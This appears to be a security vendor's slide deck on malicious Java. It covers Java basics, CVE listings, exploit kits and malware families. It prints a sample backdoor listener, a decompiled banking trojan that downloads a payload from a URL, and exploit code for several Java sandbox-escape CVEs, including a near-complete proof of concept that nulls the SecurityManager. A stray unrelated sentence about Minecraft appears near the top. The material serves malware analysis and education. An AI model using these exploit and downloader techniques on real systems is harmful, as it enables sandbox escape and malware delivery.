




# JAVAlicious: Malicious JAVA in the Wild

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Minecraft is a game about breaking and placing blocks. At first, people built structures to protect against nocturnal monsters, but as the game grew players worked together to create wonderful, imaginative things.

# What is JAVA?

# JAVA...

- Portable and object-oriented like C language
- Cross-platform functionality
- Created by **James Gosling** of Sun Microsystems
- Currently, one of the most popular programming language

# Name Facts... Did You Know?

- Initially called “OAK”
- Change to “Green” or “Greentalk”
- Renamed to “JAVA”



# Uses of Java

- Web Application Development
- Software Application Development
- GUI Development
- Network Programming

# JAVA Application



# JAVA Application



# JAVA Application




# JAVA Application




# Java Platform

- JRE (Java Runtime Environment) – for end-users
- JDK (Java Development Kit) – for software developers



<http://docs.oracle.com/javase/7/docs/>

# Hello World



The screenshot shows a Windows desktop environment. In the foreground, there is a terminal window with a black background and white text. The terminal output is as follows:

```
[C:\Users\tmpusr\Desktop\java]"C:\Program Files\Java\jdk1.7.0_01\bin\javac.exe"
HelloWorld.java
[C:\Users\tmpusr\Desktop\java]java HelloWorld
Hello World
[C:\Users\tmpusr\Desktop\java]
```

In the background, there is a Notepad window titled "HelloWorld.java - Notepad". The code inside the Notepad is:

```
public class HelloWorld{
    public static void main(string[] args) {
        System.out.println("Hello world");
```

To compile, command line: javac.exe HelloWorld.java

To execute: java HelloWorld




TREND  
MICRO



# Integrated Development Environment (IDE)

- Netbeans
- BlueJ
- Eclipse




# Pros and Cons

<u>Pros</u>	<u>Cons</u>

# PROS

- Free
- Open source
- Simplified syntax
- Portability
- Works on all platforms



# CONS

- Requires an interpreter to run code
- Large memory footprint
- Vulnerable



# “Vulnerable” what??

CVE LIST	COMPATIBILITY	NEWS – MAY 3, 2013	SEARCH
<a href="#">CVE-2007-0014</a>	ChainKey Java Code Protection allows attackers to decompile Java class files via a Java class loader with a modified defineClass method that saves the bytecode to a file before it is passed to the JVM.		
<a href="#">CVE-2006-5463</a>	Unspecified vulnerability in Mozilla Firefox before 1.5.0.8, Thunderbird before 1.5.0.8, and SeaMonkey before 1.0.6 allows remote attackers to execute arbitrary JavaScript bytecode via unspecified vectors involving modification of a Script object while it is executing.		
<a href="#">CVE-2006-1737</a>	Integer overflow in Mozilla Firefox and Thunderbird 1.x before 1.5 and 1.0.x before 1.0.8, Mozilla Suite before 1.7.13, and SeaMonkey before 1.0 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary bytecode via JavaScript with a large regular expression.		
<a href="#">CVE-2004-2627</a>	Java 2 Micro Edition (J2ME) does not properly validate bytecode, which allows remote attackers to escape the Kilobyte Virtual Machine (KVM) sandbox and execute arbitrary code.		
<a href="#">CVE-2003-0111</a>	The ByteCode Verifier component of Microsoft Virtual Machine (VM) build 5.0.3809 and earlier, as used in Windows and Internet Explorer, allows remote attackers to bypass security checks and execute arbitrary code via a malicious Java applet, aka "Flaw in Microsoft VM Could Enable System Compromise."		
<a href="#">CVE-2002-0076</a>	Java Runtime Environment (JRE) Bytecode Verifier allows remote attackers to escape the Java sandbox and execute commands via an applet containing an illegal cast operation, as seen in (1) Microsoft VM build 3802 and earlier as used in Internet Explorer 4.x and 5.x, (2) Netscape 6.2.1 and earlier, and possibly other implementations that use vulnerable versions of SDK or JDK, aka a variant of the "Virtual Machine Verifier" vulnerability.		
<a href="#">CVE-1999-0725</a>	When IIS is run with a default language of Chinese, Korean, or Japanese, it allows a remote attacker to view the source code of certain files, a.k.a. "Double Byte Code Page".		
<a href="#">CVE-1999-0440</a>	The byte code verifier component of the Java Virtual Machine (JVM) allows remote execution through malicious web pages.		
<a href="#">CVE-1999-0141</a>	Java Bytecode Verifier allows malicious applets to execute arbitrary commands as the user of the applet.		

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SEARCH CVE USING KEYWORDS:

You can also search by reference using the [CVE Reference Maps](#).

For More Information: [cve@mitre.org](mailto:cve@mitre.org)

and earlier and 6 Update 43 and earlier allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to Deployment, a different vulnerability than CVE-2013-2440.

[CVE-2013-2434](#) Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 17 and earlier and JavaFX 2.2.7 and earlier allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to 2D.

# Vulnerability Classes

- Privilege / Sandbox Issues
- Buffer Overflow
- Improper Restrictions on Buffer Operations
- Untrusted Pointer Dereference
- Integer Overflow

# Top 5 Vulnerable Sub-components

- Deployment
- 2D
- Libraries
- JavaFX
- AWT

# Concepts of Java Malware and Exploits

# Type of Malicious Java in the wild

- Malicious program written in Java
- Malware component using Java exploit

# Common Behavior of Java Malware

- Change Browser Startpage
- Download components
- Drops another malware

# A Sample Backdoor written on Java

```
//constructor
public Trojanserver(String port)
{
    //create the server socket
    try {
        ssock = new ServerSocket(Integer.parseInt(port));
    } catch (Exception e) {

        System.err.println("ERROR:Could not listen on port: " + port);
        System.exit(1);
    } //end catch

    //Execution stops here until a client makes a connection
    System.out.println("Waiting for a remote command from client....");
    //----- ALL THE ACTIONS ARE HERE -----
    try {
        while(true) //listen forever
        {
            //link SERVERSOCKET  to SOCKET

                sock = ssock.accept(); //---important code
            System.out.println("Connection established. " + ++count);
            process();

        } //end while
    //----- END ACTIONS -----
    /* ssock.close(); Do not close the server */
}
```

# JAVA\_MORCUT.A


```
String s1 = "/";
if(isWindows())
    s1 = (new StringBuilder()).append(s1).append("win").toString();
else
if(isMac())
    s1 = (new StringBuilder()).append(s1).append("mac").toString();
```



```
});
process.waitFor();
try
{
    inputstream.close();
}
```

T.A

# JAVA\_BANKER.ZIP



The screenshot shows a Java decompiler interface with the title "Java Decomplier - Windows.class". The menu bar includes File, Edit, Navigate, Search, and Help. The toolbar has icons for opening files, saving, and navigating. The left pane displays a class hierarchy tree with nodes for META-INF, JavaFinders, JavaInfos, RuntimeStreamers, WinRegistrys, and Windows. The Windows node is expanded, showing its methods: ctx : ApplicationContext, url : String, x : String[], d(String) : void, init() : void, and main(String[]) : void. The right pane shows the decompiled code for the Windows class:

```
foto.jar x
Windows.class


{
    String url = JavaFinders.convertHexToString(x) + "a.gif";
    System.out.println(url);

    f = new File(System.getenv("UserProfile") + "\\a.gif");
    BufferedInputStream in = new BufferedInputStream(new URL(url).openStream());
    FileOutputStream fos = new FileOutputStream(f);
    BufferedOutputStream bout = new BufferedOutputStream(fos, 1024);
    byte[] data = new byte[1024];
    for (int v = 0; (v = in.read(data, 0, 1024)) >= 0; ) {
        bout.write(data, 0, v);
    }
    bout.close();
    in.close();

    Runtime.getRuntime().exec("cmd /c attrib +h " + System.getenv("UserProfile"))
}
catch (Exception e) {
    e.printStackTrace();
}
```


TSPY\_BANKER.ZIP

# Exploit kits in the wild



# Exploit kits

- Designed to attack a vulnerability
- Used to deliver a payload



# Exploit kits

- Redkit
- Neo Sploit
- Cool Pack
- Black hole
- Nuclear
- CrimeBoss
- Sweet Orange
- Phoenix

# Notable malware dropped by Exploit kits

- TROJ\_RANSOM
- TROJ\_FAKEAV
- TSPY\_ZBOT
- WORM\_CRIDEX
- TROJ\_SIREfef
- BKDR\_ZACCESS




Figure 1. Ransomware warning screen

# Some Vulnerabilities used by exploit kits and other malware

# CVE 2012-0507

- **Java AtomicReferenceArray Type Violation Vulnerability**
- vulnerability to disarm the JRE sandbox mechanism
- AtomicReferenceArray uses the Unsafe class to store a reference in an array directly, which may violate type safety
- Used infection vector by OSX Flashback
- Used by Blackhole and Gong Da EK

# CVE 2012-0507

```
try
{
    String as[] = {
        "ACED0005757200135B4C6A6176612E6C616E672E4F62", "6A6563743B90CE589F1073296C0200007870000000
    };
    StringBuilder stringbuilder = new StringBuilder();
    for(int i = 0; i < as.length; i++)
        stringbuilder.append(as[i]);

    ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(StringToBy
    Object aobj[] = (Object[])(Object[])objectinputstream.readObject());
    Help ahel[0] = (Help[])(Help[])aobj[0];
    AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1];
    ClassLoader classloader = getClass().getClassLoader();
    atomicreferencearray.set(0, classloader);
    Help _tmp = ahel[0];
    Help.dowork(ahel[0]);
}
catch(Exception exception) { }
```

# CVE 2009-3867

- Stack-based buffer overflow in the HsbParser.getSoundBank function
- allows remote attackers to execute arbitrary code via a long file: URL in an argument

# CVE 2009-3867


```
String s = "";
char c = 'I';
s = repeat('/', c);
String s1 = System.getProperty("musoromusorsmusor.musornmusoramusormmusore".replace("musor", ""));
if (s1.indexOf("musorwmusorimusornmusor".replace("musor", "")) >= 0)
    s = repeat('/', 302);
else
    return;
s = "musorfmusorimusorlmusoremusor:musor/musor/musor".replace("musor", "") + s + "musorZmusor%musorZ
try
{
    this.__b = __w(getParameter("musormusorsmusormusorcmusor".replace("musor", "")), getParameter("mus
MidiSystem.getSoundbank(new URL(s));
long l = 10L;

    Thread.sleep(1);
}
catch (Exception exception)
{
}

}
```

# CVE 2011-3544

- The exploit takes advantage of the way Java handles Rhino JavaScript errors
- Used by Blackhole, Sweet Orange, Gong Da, Cool EK, Styx
- Used by JAVA\_RHINO.AE which drops either BKDR\_SASFIS.EVL or OSX\_OLYX.EVL



Func1.class X Tmpschdeul.class

```
+import java.applet.Applet;

public class Func1 extends Applet
{
    private boolean done;

    public Func1()
    {
        this.done = Boolean.FALSE.booleanValue();
    }

    public void init()
    {
        try {
            boolean bool1 = Boolean.FALSE.booleanValue();
            ScriptEngine localScriptEngine = new ScriptEngineManager().getEngineByName("js");
            localScriptEngine.put("applet", this);
            if (bool1) {
                boolean bool2 = Boolean.FALSE.booleanValue();
            }
            Object localObject = localScriptEngine.eval("function toString(){Packages.java.lang.
JString.toString(this)}");
            JList localJList = new JList(new Object[] { localObject });
            add(localJList);
        }
        catch (ScriptException localScriptException) {
            localScriptException.printStackTrace();
        }
    }

    public void kan()
    {
        if (this.done)
            return;
        Tmpschdeul localTmpschdeul = new Tmpschdeul("file.tmp");
        this.done = Boolean.TRUE.booleanValue();
    }
}
```

tion

# CVE 2011-3544

## JAVA\_RHINO.AE

```
function toString(){Packages.java.lang.System.setSecurityManager(null);
Applet.kan();
return 'WRONG!';
}
function scltk(){
var mierror = new Error();
mierror.message = this;
return mierror;
}
scltk();
```

# CVE 2013-2423

- Bypass permission checks by the MethodHandles method
- Uses Java Reflection to generate a Type Confusion
- demonstrated using integer and double fields to disable the security manager
- CrimeBoss,CritXPack/SafePack,Sweet-Orange Styx and Neutrino

# CVE 2013-2423

```
class PoC {
    public static void main(String[] args) throws Throwable {
        System.out.println(System.getSecurityManager());
        disableSecurityManager();
        System.out.println(System.getSecurityManager());
    }

    static void disableSecurityManager() throws Throwable {
        MethodHandle mh1, mh2;
        mh1 = Lookup().findStaticSetter(Double.class, "TYPE", Class.class);
        mh2 = Lookup().findStaticSetter(Integer.class, "TYPE", Class.class);
        Field fld1 = Union1.class.getDeclaredField("field1");
        Field fld2 = Union2.class.getDeclaredField("field1");
        Class classInt = int.class;
        Class classDouble = double.class;
        mh1.invokeExact(int.class);
        mh2.invokeExact((Class)null);
        Union1 u1 = new Union1();
        u1.field2 = System.class;
        Union2 u2 = new Union2();
        fld2.set(u2, fld1.get(u1));
        mh1.invokeExact(classDouble);
        mh2.invokeExact(classInt);
        if (u2.field2.f29 == System.getSecurityManager()) {
            u2.field2.f29 = null;
        } else if (u2.field2.f30 == System.getSecurityManager()) {
            u2.field2.f30 = null;
        } else {
            System.out.println("security manager field not found");
        }
    }
}
```

# CVE 2013-2423

```
static void BNziu() throws Throwable
{
    MethodHandle dezz = Tepe.CHib();
    MethodHandle mh2 = Tepe.Fronutw();
    Field fld1 = Cshouy.class.getDeclaredField("Coo");
    Field fld2 = Faopbt.class.getDeclaredField("FPik");
    Class classInt = Integer.TYPE;
    Class classDouble = Double.TYPE;
    dezz.invokeExact(Integer.TYPE);
    mh2.invokeExact((Class)null);
    Cshouy u1 = new Cshouy();
    u1.CVN = System.class;
    Faopbt u2 = new Faopbt();
    fld2.set(u2, fld1.get(u1));
    dezz.invokeExact(classDouble);
    mh2.invokeExact(classInt);
    if (u2.Mainb.f29 == System.getSecurityManager())
    {
        u2.Mainb.f29 = null; } else {
        if (u2.Mainb.f30 != System.getSecurityManager())
            return;
        u2.Mainb.f30 = null;
    }
}
```

# Best Practices





# Thank You